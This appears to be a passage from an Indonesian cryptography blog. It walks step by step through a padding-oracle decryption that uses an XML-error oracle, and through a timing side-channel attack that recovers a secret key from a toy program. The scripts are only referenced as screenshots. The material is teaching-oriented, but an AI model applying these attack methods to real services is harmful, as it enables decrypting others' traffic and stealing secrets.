Setelah dicoba dengan megubah byte ke-2 IV menjadi ED ternyata tidak mentrigger error invalid XML, sehingga kita yakin bahwa byte ke-2 P1 adalah 09. Dengan mengetahui byte ke-2 IV dan byte ke-2 P1, maka kita bisa menghitung byte ke-2 hasil dekrip C1 adalah ED XOR 09 = E4.Screen Shot 2013-04-06 at 9.04.48 PM

Mencari Byte ke-3

Sejauh ini kita sudah mendapatkan 3 byte, yaitu byte ke-1, ke-2 dan byte terakhir. Kini kita lanjutkan pencarian kita untuk mencari byte ke-3.

Karena yang dicari adalah byte ke-3, maka kita akan mengXORkan byte ke-3 IV 80 dengan byte mask 00, 10, 20 – 70 kemudian mencatat byte mask mana yang mentrigger error invalid XML. Gambar di bawah ini memperlihatkan proses mencari byte ke-3 IV yang mentrigger error invalid XML.

Screen Shot 2013-04-07 at 6.33.18 AM

Setelah dicoba diketahui bila byte ke-3 IV bernilai E0 (=80 XOR 60) atau F0 (=80 XOR 70) mentrigger error invalid XML. Dalam contoh ini kita ambil salah satu saja, yaitu E0.

Selanjutnya byte ke-3 IV, E0 akan diubah dengan meng-XOR-kan dengan 22 byte mask (yang sudah dijelaskan sebelumnya ketika mencari byte ke-2) untuk mencari mencari lagi mana di antara 22 byte ke-3 IV tersebut yang mentrigger error invalid XML.

Gambar di bawah ini menunjukkan proses interogasi “the oracle” untuk byte ke-3 IV yang berbeda-beda (XOR dengan 22 byte masking). Ternyata baru pada percobaan ke-8, sudah ditemukan byte ke-3 IV yang mentrigger error invalid XML, yaitu CF (=E0 XOR 2F).

Screen Shot 2013-04-07 at 6.36.47 AM

Seperti yang sudah dijelaskan sebelumnya, byte ke-3 IV CF ini membuat byte ke-3 P1 menjadi dua kemungkinan, 3C atau 26. Untuk memastikan byte ke-3 P1 adalah 3C atau 26 kita harus menginterogasi “the oracle” lagi. Byte ke-3 IV, CF kita XOR dengan 2F (akibatnya byte ke-3 P1 juga akan ter-XOR dengan 2F) kemudian kita lihat respons dari “the oracle”, apakah mentrigger error invalid XML lagi atau tidak. Bila the oracle merespons dengan error invalid XML, artinya byte ke-3 P1 adalah 13, bila the oracle tidak merespons dengan “invalid xml”, maka byte ke-3 P1 adalah 09.

Screen Shot 2013-04-07 at 6.49.11 AM

Ternyata setelah byte ke-3 IV (CF) di-XOR dengan 2F menjadi E0, mentrigger error invalid XML, sehingga kita yakin bahwa byte ke-3 IV tersebut (E0) membuat byte ke-3 P1 menjadi 13. Dengan mengetahui byte ke-3 IV E0 dan byte ke-3 P1 13, kita bisa menghitung byte ke-3 hasil dekrip C1 yaitu E0 XOR 13 = F3.

Screen Shot 2013-04-06 at 10.13.09 PM

Mencari byte ke-4

Mari kita lanjutkan untuk mencari byte ke-4. Karena yang dicari adalah byte ke-4, maka byte ke-4 IV (D0) di XOR dengan 7 byte masking (00-10-20-30…-70) untuk mencari byte ke-4 IV yang mentrigger error invalid XML. Berikut adalah proses mencari byte ke-4 IV yang menghasilkan error invalid xml.

Screen Shot 2013-04-06 at 10.49.47 PM

Dari gambar di atas terlihat bahwa byte ke-4 IV F0 dan E0 mentrigger error invalid XML. Karena ada dua IV kita pilih saja yang pertama, yaitu F0. Selanjutnya prosesnya sama, kita mengXORkan F0 dengan 22 byte masking untuk mencari byte masking yang mentrigger error invalid XML.

Screen Shot 2013-04-06 at 10.53.26 PM

Gambar di atas menunjukkan bahwa ketika byte ke-4 IV bernilai DD (=F0 XOR 2D) membuat “the oracle” merespons dengan error invalid XML. Selanjutnya diperlukan konfirmasi sekali lagi dari the oracle untuk menentukan nilai byte ke-4 P1.

Byte ke-4 IV DD diXORkan dengan 2F menjadi F2 kemudian kita amati respons dari “the oracle”. Ternyata respons dari “the oracle” adalah invalid XML, artinya kita yakin bahwa byte ke-4 IV F2 membuat byte ke-4 P1 menjadi 13.

Dengan mengetahui byte ke-4 IV dan byte ke-4 P1, kita bisa menghitung byte ke-4 hasil dekrip C1 adalah F2 XOR 13 = E1.

Screen Shot 2013-04-06 at 10.44.10 PM

Mencari Byte ke-5

Mencari byte ke-5 prosedurnya tetap sama. Kita selalu mulai lagi dengan IV hasil prosedur “Find IV” di awal, yaitu IV yang membuat byte terakhir menjadi 01. Kemudian dari IV tersebut byte-5nya kita masking dengan 7 byte (00, 10, 20 – 70) untuk mencari byte ke-5 IV yang mentrigger error invalid XML.

Gambar di bawah ini adalah proses mencari byte ke-5 IV yang mentrigger error invalid XML. Ternyata hanya ada satu IV yang mentrigger error invalid XML, yaitu bila byte ke-5 bernilai 35.

Screen Shot 2013-04-07 at 6.52.27 AM

Byte ke-5 IV, 35 ini membuat P1 menjadi salah satu dari 3 kandidat: 19, 1A atau 1D. Kita butuhkan “the oracle” untuk menentukan satu dari 3 kemungkinan kandidat itu. Caranya adalah kita meng-XOR-kan byte ke-5 IV (35) dengan 25, 26 dan 21 (untuk membuat byte ke-5 P1 menjadi 3C) kemudian melihat mana yang mentrigger error invalid XML.

Screen Shot 2013-04-07 at 6.59.38 AMPerhatikan gambar di atas, ketika byte ke-5 IV menjadi 10 (=35 XOR 25) tidak mentrigger error invalid XML, namun ketika byte ke-5 IV menjadi 13 (=35 XOR 26) mentrigger error invalid XML. Dari 2 percobaan ini kita yakin bahwa byte ke-5 IV 13 membuat byte ke-5 P1 menjadi 3C.

Dengan mengetahui byte ke-5 IV 13 membuat byte ke-5 P1 menjadi 3C, maka kita bisa menghitung byte ke-5 hasil dekrip C1 adalah 13 XOR 3C = 2F.

Screen Shot 2013-04-07 at 7.33.32 AM

Mencari byte ke-6 s/d 15

Karena caranya sama, byte ke-6 sampai byte ke-15 saya tuliskan di bawah ini.

Spoiler Inside: Proses mecari byte ke-6 s/d byte ke-15 SelectShow

Setelah semua byte berhasil didekrip, kini hasil Dekrip blok C1 sudah lengkap. Bila kita kembalikan IV yang asli (bukan IV hasil prosedur “find IV”), kemudian kita XOR-kan antara hasil Dekrip C1 dan IV tersebut kita akan dapatkan plaintext yang benar.

Screen Shot 2013-04-07 at 1.43.07 PM

Screen Shot 2013-04-07 at 1.43.51 PM

Decrypting C2

Mendekrip C2 caranya sama dengan mendekrip C1, bedanya adalah kalau dulu kita pakai C0 dan C1 untuk mendekrip C1, kini kita pakai C1 dan C2 untuk mendekrip C2. Jadi prosedurnya tetap sama:

  1. “Find IV” untuk mencari IV yang membuat single byte padding
  2. Cari byte ke-X

Find IV Blok C2

Kita mulai prosedur pertama mencari IV yang membuat single byte padding. Input dari prosedur ini adalah dua blok, yaitu C1 (sebagai IV) dan C2 (sebagai blok yang akan didekrip).

Screen Shot 2013-04-07 at 2.45.03 PM

Dengan cara yang sama seperti C1, kita akan mendapatkan 16 IV yang membuat P1 menjadi valid (valid padding dan valid XML).

Screen Shot 2013-04-07 at 2.55.38 PM

Kita hanya tahu 16 IV tersebut menghasilkan byte terakhir P1 antara 01 – 10, tapi kita tidak tahu pasti yang mana. Namun kita punya petunjuk bahwa ada satu IV yang bit ke-4nya berbeda sendiri dari 15 IV lainnya, dan IV yang berbeda sendiri itu adalah IV yang menghasilkan padding 10.

Kalau kita perhatikan ada 15 IV yang diawali dengan A, dan hanya ada satu IV yang diawali dengan B, yaitu B8. Dari situ kita bisa simpulkan bahwa byte terakhir IV B8 akan membuat byte terakhir P1 bernilai 10.

Karena tujuan kita adalah mencari IV yang membuat single byte padding, maka byte terakhir IV harus kita buat menjadi B8 XOR 11 = A9. Sekarang kita sudah dapatkan IV yang akan menjadi masukan bagi prosedur untuk mendekrip byte-byte dalam blok C2.

Screen Shot 2013-04-07 at 3.05.31 PM

Mencari byte ke-16

Setelah mendapatkan IV yang membuat single byte padding, kita bisa dengan mudah menghitung byte ke-16 dari hasil Decrypt(c2) yaitu byte terakhir IV (A9) XOR 01 = A8.

Screen Shot 2013-04-07 at 3.15.20 PM

Mencari byte ke-1 s/d ke-6

Dengan cara yang sama kita bisa mendekrip byte-byte mulai dari byte ke-1 sampai ke-15. Berikut ini adalah proses bagaimana mendekrip byte ke-1 s/d byte ke-6.

Spoiler Inside: Proses mencari byte ke-1 s/d byte ke-6 SelectShow

Mencari byte ke-7

Proses pencarian byte ke-7 akan saya bahas karena ternyata hasilnya agak sedikit berbeda dari contoh sebelumnya. Kali ini kita mendapatkan 3 IV yang mentrigger error invalid XML (contoh sebelumnya hanya 1 atau 2 IV), yaitu C9, F9, E9.

Screen Shot 2013-04-07 at 3.25.08 PM

Seperti biasa kita tidak perlu memakai semua IV tersebut, kita pilih saja salah satu yaitu C9. Bila ditemukan 3 IV seperti ini maka ada 6 kemungkinan P1 di byte ke-7 yaitu: 0×06, 0×16, 0×26, 0x0C, 0x1C, 0x3C.

Screen Shot 2013-04-07 at 3.35.44 PM

Bagaimana cara kita menentukan byte P1 yang mana dari 6 kandidat tersebut? Kita akan gunakan byte masking 3A, 2A, 1A, 30, 20 dan 00 untuk membantu menebak byte P1 yang benar.

Gambar di bawah ini adalah alur logika bagaimana menggunakan jawaban “the oracle” (valid/invalid XML) bisa membawa kita menuju byte P1 yang benar. Byte ke-7 IV (C9) akan kita XOR dengan byte masking tersebut kemudian melihat reaksi dari “the oracle”, apakah valid atau invalid XML. Bila ternyata invalid XML, kita XOR lagi dengan 2F sebagai ujian terakhir, bila reaksi “the oracle” adalah invalid XML, maka kita sudah berhasil menebak P1 dengan benar.

Screen Shot 2013-04-07 at 3.51.50 PM

Setelah mengikuti alur logika di atas, diketahui bahwa invalid XML terjadi 2 kali di cabang 00 (ketika di XOR dengan 00). Dari hasil ini kita bisa menebak bahwa byte ke-7 P1 adalah 3C.

Screen Shot 2013-04-07 at 4.14.14 PM

Dengan mengetahui bahwa byte ke-7 P1 adalah 3C dan byte ke-7 IV adalah C9, kita bisa menghitung byte ke-7 Decrypt(c2) adalah C9 XOR 3C = F5.

Screen Shot 2013-04-07 at 4.17.32 PM

Mendekrip byte ke-8 s/d ke-15

Perlu diketahui bahwa hanya ada 3 kemungkinan ketika kita mencari IV yang membuat jadi invalid XML, yaitu 1 IV, 2 IV atau 3 IV. Pada byte ke-7 di atas kita mendapati bahwa terdapat 3 IV yang mentrigger error invalid XML, sedangkan pada contoh-contoh lain sebelumnya kita sudah menemukan contoh kasus 1 IV dan 2 IV.

Dengan cara yang sama, berikut adalah proses dekripsi byte ke-8 sampai byte ke-15.

Spoiler Inside: Proses mencari byte ke-8 s/d byte ke-15 SelectShow

Kini kita sudah berhasil mendekrip c2 dari byte ke-1 sampai byte ke-16.

Screen Shot 2013-04-07 at 4.27.45 PM

Screen Shot 2013-04-07 at 4.28.20 PM

Gambar berikut adalah hasil dekripsi gabungan C1 dan C2

Screen Shot 2013-04-07 at 5.03.41 PM

Selanjutnya dengan cara yang sama kita bisa melanjutkan untuk mendekrip C3, C4, C5 dan seterusnya.

 

Timing Side Channel Attack

On March 27, 2013, in Cryptography, by Rizki Wicaksono

Dalam tulisan kali ini saya akan membahas tentang side channel attack khususnya timing attack. Kita tentu sering mendengar kata pepatah bahwa ‘Time is money”, ternyata selain dianggap uang, waktu juga bisa dijadikan senjata maut untuk memecahkan kode, kriptografi atau mendapatkan informasi rahasia lainnya.

Side Channel Attack

Timing attack adalah bagian dari keluarga besar side channel attack. Side channel attack adalah serangan yang memanfaatkan kebocoran informasi yang ditimbulkan karena aktivitas yang dilakukan mesin atau program. Seperti halnya di dunia fisik, setiap aktivitas yang dilakukan program sebenarnya menimbulkan “efek samping” atau jejak yang bisa diamati. Seperti menyelesaikan puzzle, dengan mengumpulkan kepingan-kepingan informasi yang bocor ini kita bisa menyelesaikan puzzle.

Kebocoran informasi yang bisa dimanfaatkan untuk side channel attack antara lain:

  • Informasi waktu respons
  • Konsumsi listrik
  • Suara
  • Radiasi elektromagnet

Sebagai ilustrasi coba bayangkan, bagaimana caranya mengetahui apakah Pentagon sedang merencanakan suatu operasi besar ?

pentagon

Mungkin ada yang menjawab, kita harus menyelundupkan mata-mata ke sana. Cara itu memang bisa dilakukan, tapi mengingat Pentagon penjagaannya super ketat, cara itu bisa dibilang mission impossible, sangat sulit, mahal dan beresiko tinggi. Cara lain yang bisa dilakukan dengan mudah dan murah adalah dengan Pizza!

domino

Lho kok bisa, apa hubungannya Pentagon dan Pizza ? Ternyata penjualan pizza Domino berhubungan dengan aktivitas yang dilakukan pegawai Pentagon. Ketika Pentagon sedang merencanakan atau melakukan sesuatu yang besar, maka akan terjadi aktivitas tinggi. Ketika aktivitas tinggi, banyak pegawai yang memesan Pizza sehingga penjualan pizza Domino akan melonjak.

Jadi ternyata informasi yang tampaknya sepele, penjualan pizza, bisa menjadi indikator yang cukup akurat untuk mengetahui apakah Pentagon sedang merencakan operasi besar. Mengenai indikator pizza ini pernah ditulis di washingtonpost.com tahun 1998 lalu.

Lie to Me

Saya termasuk penggemar serial TV “Lie to Me” yang menceritakan tentang seorang bernama Dr. Lightman yang memiliki kemampuan khusus untuk mendekteksi perasaan seseorang hanya dengan mengamati body language seseorang ketika menjawab suatu pertanyaan. Salah satu keahliannya adalah dia bisa menjadi “human lie detector” artinya dia bisa mengetahui apakah seseorang berbohong atau jujur.

lie-to-me

Ekspresi di wajah menunjukkan isi hati seseorang, apakah dia sedang sedih, gembira, marah atau berbohong. Ekspresi ini akan muncul secara alami jadi sulit untuk ditutup-tutupi atau dibuat-buat, kecuali mungkin orang yang sudah sangat terlatih atau mungkin seorang psikopat.

Bisa dikatakan ekspresi di wajah ini adalah bentuk kebocoran informasi yang bila dibaca oleh orang yang ahli bisa membocorkan informasi isi hati seseorang, jadi serangan dengan membaca ekspresi wajah ini juga salah satu bentuk side channel attack.

Timing Attack

Kalau kita cari-cari di internet, banyak sumber yang menyebutkan indikator yang bisa dipakai sebagai lie indicator.

seorang yang berbohong membutuhkan waktu processing lebih lama dari pada kalau dia sedang jujur

Ketika seseorang berbohong dia akan cenderung mengulur-ngulur waktu atau menunda waktu karena dia butuh waktu lebih banyak untuk berpikir. Kata-kata atau gerak gerik yang mengindikasikan bahwa dia sedang mengulur waktu karena butuh waktu processing lebih lama antara lain (sumber) :

  • repeat the question
  • adjust their clothing
  • start by speaking slowly, until confident
  • start with ‘well’, ‘actually’ and other words that delay

Cara mendeteksi kebohongan dengan melihat waktu respons yang dibutuhkan untuk menjawab pertanyaan adalah salah satu bentuk side channel attack atau lebih khusus lagi timing attack.

Timing attack ini adalah serangan yang sulit untuk dicegah karena setiap operasi di komputer membutuhkan waktu untuk mengekesekusinya. Secepat apapun operasi komputer dilakukan tetap saja ada waktu yang terpakai walaupun hanya sekian nanosecond. Waktu eksekusi suatu program bisa berbeda bila input yang diberikan berbeda. Dengan pengukuran yang akurat dari waktu untuk mengerjakan suatu operasi, seorang penyerang bisa membaca dan menebak informasi rahasia

String Matching

Programmer ketika membuat program umumnya menggunakan algoritma yang seefisien dan secepat mungkin waktu eksekusinya, ini sudah menjadi insting dasar seorang programmer. Namun yang jadi masalah adalah insting dasar untuk mempersingkat waktu dalam tempo sesingkat-singkatnya ini justru menjadi kelemahan yang bisa dieksploitasi attacker.

Pseudo code untuk mengetahui apakah dua string sama atau tidak biasanya seperti ini:

Screen Shot 2013-03-27 at 3.24.05 PM

Perhatikan pseudo-code di atas yang pertama dilakukan adalah memeriksa apakah panjang string A dan B sama? Bila berbeda, fungsi langsung berhenti di situ dengan nilai false. Hal ini terlihat sangat logis, bila panjangnya saja sudah berbeda, untuk apa lagi harus memeriksa isinya.

Bila panjang A dan B sama, maka dilakukan pengecekan apakah byte pertama isinya sama? Bila byte pertama sama, fungsi akan berlanjut untuk memeriksa byte kedua, ketiga, keempat dan seterusnya. Namun bila byte pertama isinya berbeda, fungsi juga berhenti disini dengan nilai false. Ini juga sangat sesuai dengan insting programmer, bila byte pertama saja sudah berbeda, untuk apa memeriksa byte kedua, ketiga dan seterusnya.

Lalu dimana sebenarnya masalahnya pseudo-code di atas? Bukankah ini sangat logis dan sesuai dengan insting dasar programmer, menyelesaikan masalah tanpa masalah dan dalam tempo yang sesingkat-singkatnya?

Kebocoran Informasi Waktu

Diagram di bawah ini menunjukkan aktivitas yang dilakukan server untuk memeriksa apakah password yang dikirim client sama dengan password yang tersimpan di server. Setiap aktivitas yang dilakukan server tentu akan memakan waktu yang dalam gambar di bawah ini dilambangkan dengan t0, t1, t2, t3 dan seterusnya.

Screen Shot 2013-03-27 at 2.11.27 PM

Perhatikan pada t0, attacker mengirimkan password. Server akan memeriksa apakah panjang password yang dikirim client sama dengan panjang password yang tersimpan.

  • Bila panjang tidak sama, server akan memberi respons pada waktu t1
  • Bila panjang sama, tapi byte pertama tidak sama, server akan memberi respons pada waktu t2
  • Bila panjang dan byte pertama sama, tapi byte kedua tidak sama, server akan memberi respons pada waktu t3

Dari alur aktivitas tersebut terjadi kebocoran informasi yang fatal, dengan mengamati waktu respons, apakah t1, t2, t3, t4 dan seterusnya, informasi yang bisa didapatkan attacker adalah:

  • Panjang password di server
  • Posisi byte yang salah

Dua informasi tersebut sudah cukup untuk mendapatkan password yang dirahasiakan di server.

Sebenarnya timing attack ada banyak bentuk dan variasinya, tidak hanya string matching saja. Pada dasarnya timing attack bisa dilakukan pada aplikasi yang membocorkan informasi pada clientnya dalam bentuk perbedaan waktu respons.

Sebagai contoh, potongan pseudo-code di bawah ini menunjukkan logika bahwa bila secret key adalah bilangan ganjil maka program akan memanggil fungsi doA() yang diketahui menghabiskan waktu 10 ms, sedangkan bila secret key adalah bilangan genap, maka program akan memanggil fungsi doB() yang lebih lama dibandingkan doA().

Dengan cara mengirimkan informasi ke server dan mengamati waktu responsnya, apakah 10 ms atau 15 ms, seorang attacker bisa mengetahui bahwa secretkey yang dipakai adalah bilangan ganjil atau genap.

Screen Shot 2013-03-27 at 10.44.51 PM

Contoh lain adalah potongan pseudo-code di bawah ini. Ceritanya ini adalah potongan kode yang menangani proses transfer ke suatu rekening tujuan. Bila potongan kodenya seperti ini, maka seseorang yang mengirimkan uang ke rekening tujuan bisa mengetahui saldo rekening tujuan dengan cara mengamati waktu transfer.

Bila ketika transfer ke rekening XXX waktu yang dibutuhkan adalah 1 ms, maka isi rekening XXX diyakini di bawah 100 ribu. Bila ketika transfer ke rekening XXX waktu yang dibutuhkan adalah 5 ms, maka isi rekening XXX diyakini antara 100 ribu sampai 1 juta rupiah. Namun bila waktu yang dibutuhkan untuk transfer adalah 20 ms, maka isi rekening tersebut diyakini berisi lebih dari  satu juta.

Screen Shot 2013-03-27 at 10.44.57 PM

Itu adalah beberapa contoh bentuk-bentuk timing attack. Ada masih banyak lagi bentuk yang lain, tapi dalam tulisan ini saya akan fokuskan pembahasan pada timing attack pada string matching untuk mendapatkan secret key.

Ada yang bisa memberi contoh lain timing attack atau side channel attack di dunia nyata ? Mungkin waktu yang dibutuhkan KPK untuk menetapkan seseorang menjadi tersangka bisa dijadikan suatu indikator, lonjakan jumlah nasi box yang dikirim ke gedung KPK mungkin menandakan akan ada tersangka baru atau akan ada operasi tangkap tangan baru.

Contoh Kasus

Sebagai ilustrasi saya akan memberi contoh kasus yang bisa menunjukkan bagaimana timing attack bisa dilakukan untuk mencuri kunci rahasia. Berikut adalah contoh source code aplikasi (kita sebut sebagai guessme) yang vulnerable terhadap timing attack.

Screen Shot 2013-03-27 at 3.59.50 PM

Aplikasi guessme tersebut membaca file secretkey.txt yang berisi kunci rahasia, kemudian membandingkan dengan input dari user (argv). Bila input argument dari user sama dengan isi kunci dalam file secretkey.txt, maka program akan menampilkan ‘CORRECT’, namun bila salah program akan langsung keluar tanpa pesan apapun. Program di atas vulnerable karena ketika melakukan perbandingan dua string, program akan berhenti ketika panjang tidak sama atau ketika karakter pada posisi tertentu tidak sama.

Karena aplikasi tersebut membutuhkan file secretkey.txt, kita harus membuat file secretkey.txt dulu. Saya membuat script bash kecil untuk men-generate teks random dengan panjang 4-9. Script bash makerandom.sh ini digunakan untuk men-generate kunci rahasia secara random. Dalam skenario ini, sebagai proof of concept, saya sendiri tidak membaca isi file secretkey.txt dan kita harus mengetahui isinya dengan timing attack.

kali17

Setelah program dicompile, berikut adalah apa yang terjadi ketika kita menjalankan program tersebut tapi tidak tahu kunci rahasianya. Setiap kali kita memasukkan kunci yang salah, program akan langsung keluar tanpa berkomentar apa-apa.

kali17

Mengukur Waktu Eksekusi

Cara untuk mengukur waktu eksekusi adalah dengan mencatat waktu sebelum dan sesudah eksekusi kemudian menghitung perbedaan dua waktu tersebut. Agar pengukurannya akurat, kita membutuhkan fungsi yang bisa mendapatkan waktu dengan akurasi sampai nanosecond. Saya menggunakan fungsi clock_gettime() di Linux untuk mendapatkan waktu dengan akurasi sampai nanosecond.

Berikut adalah contoh program yang melakukan pengukuran waktu eksekusi. Perhatikan apa yang dilakukan program ini:

  1. Mengambil waktu sebelum eksekusi dengan clock_gettime
  2. Mengeksekusi program yang akan diukur waktu (dalam contoh ini: guessme) di child process
  3. Parent process menunggu dengan wait() sampai child process selesai menjalankan guessme
  4. Setelah child selesai mengeksekusi guessme, parent mengambil waktu sekarang dengan clock_gettime
  5. Menghitung selisih waktu dalam nanosecond antara sesudah dan sebelum eksekusi

Screen Shot 2013-03-27 at 8.51.48 PM

Bila source di atas dicompile (jangan lupa tambahkan -lrt di gcc) dan dijalankan, maka hasilnya seperti gambar di bawah ini. Output dari program ini adalah input string dan waktu eksekusi dalam nanosecond.

kali17

Ternyata setelah dijalankan waktu eksekusi guessme berbeda-beda dengan rentang yang lebar, terkadang rendah terkadang tinggi atau bahkan tinggi sekali. Mari kita coba jalankan program timingattack ini sebanyak 5.000 kali lalu kita plot hasilnya pada chart.

Screen Shot 2013-03-27 at 9.33.40 PM

Wow hasilnya ternyata cukup berantakan, ada banyak noise dengan nilai yang sangat tinggi atau sangat rendah. Sepintas kalau dilihat logika timing attack itu sederhana, kita hanya mengirim input ke server kemudian mengamati apakah waktu respons dari server adalah t1, t2 atau t3 dan seterusnya. Namun sebenarnya mengukur waktu respons server tidak sesederhana itu, waktu dari respons tidak pasti dan berubah-ubah, tergantung dari banyak faktor, antara lain load CPU, bandwidth jaringan dan faktor lain yang kita sebut sebagai noise/jitter.

Karena adanya noise/jitter itu maka kita tidak bisa mengukur hanya satu kali, kita harus melakukan banyak pengukuran dan mengambil rata-ratanya. Sebelum mengambil rata-ratanya akan lebih baik lagi kalau kita menyaring data agar data dengan nilai yang sangat tinggi atau sangat rendah dihilangkan sehingga lebih mencerminkan waktu eksekusi yang sebenarnya.

Saya menggunakan pendekatan sederhana untuk memfilter noise, semua data hasil sekian banyak pengukuran diurutkan dulu secara ascending, kemudian saya membuang 15% data tertinggi dan 15% data terendah sehingga hanya menyisakan 70% data di tengah yang tidak terlalu tinggi dan tidak terlalu rendah. Data yang telah difilter inilah yang kemudian akan diambil reratanya.

Berikut adalah source code program yang melakukan pengukuran waktu eksekusi sebanyak 10.000 kali, memfilter datanya kemudian mengeluarkan rata-rata waktu eksekusi.

Screen Shot 2013-03-27 at 9.47.15 PM

 Source code di atas mirip dengan yang sebelumnya hanya saja ada penambahan kode di bawahnya untuk melakukan sorting dengan QuickSort, kemudian 15% data tertinggi dan terendah dibuang kemudian dihitung rata-ratanya.

Mencari Panjang Kunci dengan Timing Attack

Pertama yang harus kita lakukan adalah mencari tahu panjang kunci dari waktu respons server. Bila waktu response dari server adalah t1, maka kemungkinan besar panjang password yang kita kirim salah, dan kita harus mencoba lagi dengan password yang berbeda panjangnya, sampai akhirnya kita mendapatkan waktu respons t2 yang berarti panjang password benar, tapi byte pertama salah.

Jadi cara mencari panjang kunci adalah dengan brute force (trial/error), dimulai dengan password yang panjangnya satu, bila salah, coba dengan password yang panjangnya dua, tiga, empat dan seterusnya.

Berikut adalah script bash yang digunakan untuk mencoba password dengan panjang 4-9.

Screen Shot 2013-03-27 at 4.17.11 PM

Dan berikut adalah hasil eksekusi script bash di atas.

kali6

Bila data di atas kita plot dalam chart maka akan terlihat jelas ada perbedaan waktu ketika kita mengirim guess dengan panjang 7 karakter. Ketika menerima input yang panjangnya 7, waktu responsnya sedikit lebih lama dibandingkan kalau panjang input bukan 7. Berdasarkan hasil pengukuran ini, kita cukup yakin bahwa panjang kunci adalah 7 karakter.

Screen Shot 2013-03-26 at 6.35.47 AM

Mencari Karakter ke-1

Setelah mengetahui bahwa panjang kunci adalah 7 karakter, selanjutnya kita harus mulai mencari isinya dimulai dari byte pertama. Cara mencari tahu isi byte pertama adalah dengan mengirimkan input sepanjang 7 karakter “a######”, “b######”, “c######” sampai dengan “z######” dan mengamati waktu respons dari setiap input tersebut. Dari semua input string tersebut, input string yang membuat waktu respons relatif lebih lama dibanding yang lain adalah tersangka utama isi byte pertama.

Screen Shot 2013-03-27 at 10.07.25 PM

Kita membutuhkan satu script lagi untuk melakukan brute force dari a sampai z. Script brutetime.sh di atas membutuhkan  argument berupa prefix (kecuali byte pertama tidak perlu) yang akan diconcat dengan byte yang dicoba dari a-z dan diakhiri dengan postfix berupa deretan karakter ‘#’. Berikut adalah output dari script brutetime.sh di atas.

kali12

Data di atas bila diplot dalam chart akan terlihat seperti gambar di bawah ini.

Screen Shot 2013-03-26 at 2.16.03 PM

Dari grafik di atas terlihat bahwa ketika kita mencoba guess dengan string ‘z######’ waktu responsenya lebih tinggi daripada yang lainnya sehingga kita bisa yakin bahwa karakter pertama adalah ‘z’.

Mencari karakter ke-2

Setelah kita yakin bahwa karakter pertama adalah ‘z’ selanjutnya kita harus mencari karakter ke-2. Caranya adalah dengan mengirimkan input string sepanjang 7 karakter: ‘za#####’, ‘zb#####’, ‘zc#####’ sampai ‘zz#####’ kemudia mengamati waktu respons dari setiap input tersebut. Input string yang membuat waktu responsnya relatif lebih lama dibanding yang lain diduga adalah isi karakter ke-2.

kali13

Chart di bawah ini menunjukkan bahwa waktu respons dari input string ‘zf#####’ relatif lebih tinggi dibanding yang lain, sehingga kita bisa menduga dengan keyakinan tinggi bahwa huruf kedua adalah ‘f’.

Screen Shot 2013-03-26 at 6.42.29 AM

Mencari karakter ke-3

Kita lanjutkan dengan cara yang sama untuk mencari karakter sesudah ‘zf’.

kali7

Dari hasil chart di bawah ini terlihat bahwa input string ‘zfa####’ mendapatkan waktu respons yang relatif lebih lama dibanding yang lain sehingga kita yakin bahwa karakter ke-3 adalah huruf ‘a’.

Screen Shot 2013-03-26 at 6.45.03 AM

Mencari karakter ke-4

Mari kita mencari tahu karakter ke-4 sesudah ‘zfa’. Gambar di bawah ini adalah output dari script brutetime.sh dengan argument zfa (3 karater yang sudah diketahui).

kali14

Pada chart di bawah ini ada satu titik data outlier yang terpencil, berbeda sendiri dari kelompoknya, data ini bisa diabaikan dan dianggap sebagai noise. Waktu respons untuk input string ‘zfam###’ terlihat konsisten lebih tinggi dibanding yang lain sehingga kita bisa meyakini bahwa karakter ke-4 adalah huruf ‘m’.

Screen Shot 2013-03-26 at 6.46.33 AM

Mencari karakter ke-5

Ayo tinggal 3 lagi byte lagi. Gambar di bawah ini adalah output dari script brutetime.sh dengan argument zfam (4 byte yang sudah diketahui).

kali15

Berikut adalah chart dari output data di atas.

Screen Shot 2013-03-26 at 6.49.39 AM

Kali ini hasilnya tidak sebagus sebelumnya. Ada tiga kandidat yang diduga sebagai karakter ke-5, yaitu i, o atau x yang nilainya tidak berbeda banyak. Kalau ada kasus begini kita bisa uji sekali lagi untuk tiga huruf tersebut. Berikut adalah hasil pengujiannya.

kali9

Ternyata hasilnya kandidat zfami## hasilnya konsisten lebih tinggi dari 741 ribu, sedangkan zfamo## dan zfamx## hasilnya jauh di bawah zfami dan setara dengan huruf lainnya. Input string ‘zfamo’ dan ‘zfamx’ ketika ditest terlihat lebih tinggi dari seharusnya mungkin karena CPU load kebetulan sedang tinggi.

Mencari karakter ke-6

Satu lagi karakter yang harus kita cari dengan timing attack adalah karakter ke-6. Dengan cara yang sama dengan yang sebelumnya, berikut adalah output dari script brutetime.

kali16

Hasil di atas ketika diplot sebagai chart memperlihatkan bahwa input string ‘zfamip#’ mendapatkan waktu respons lebih tinggi di banding yang lain sehingga kita yakin bahwa 6 karakter pertama adalah zfamip.

Screen Shot 2013-03-26 at 7.00.47 AM

Mencari karakter terakhir

Mencari karakter terakhir tidak perlu dengan timing attack karena input string yang benar akan meresponse dengan ‘CORRECT’. Kita butuh script untuk melakukan brute force karakter terakhir mulai dari ‘a’ sampai ‘z’. Script di bawah ini adalah script untuk melakukan brute force karakter terakhir.

Screen Shot 2013-03-27 at 10.28.29 PM

Bila script di atas dijalankan kita bisa mendapatkan konfirmasi positif bahwa kunci rahasia yang panjangnya 7 karakter adalah ‘zfamipd’.

kali8

 

 

Advanced Padding Oracle Attack

On March 18, 2013, in Cryptography, by Rizki Wicaksono

Tulisan ini adalah lanjutan dari tulisan sebelumnya yang membahas tentang padding oracle attack. Dalam tulisan sebelumnya saya sudah menjelaskan bagaimana melakukan dekripsi dengan mengirimkan ‘specially crafted’ ciphertext dan menginterogasi ‘the oracle’ apakah hasil dekripsinya menghasilkan padding yang valid atau tidak.

Kali ini saya akan lanjutkan pembahasan padding oracle attack untuk mengenkripsi pesan baru, bukan hanya mendekrip pesan seperti yang sudah dibahas di tulisan sebelumnya. Saya juga akan memberikan contoh aplikasi yang vulnerable dan bagaimana membuat script untuk eksploitasinya.

Bagi yang belum mengerti apa itu padding oracle attack sangat dianjurkan membaca tulisan sebelumnya karena disini tidak dibahas lagi apa yang sudah dibahas di sana.

Padding Oracle Encryption

Dalam tulisan sebelumnya sudah dibahas bagaimana padding oracle attack bisa digunakan untuk mendekrip suatu cipherteks. Namun ternyata tidak hanya itu yang bisa dilakukan dengan padding oracle attack, padding oracle juga bisa digunakan untuk mengenkrip plainteks.

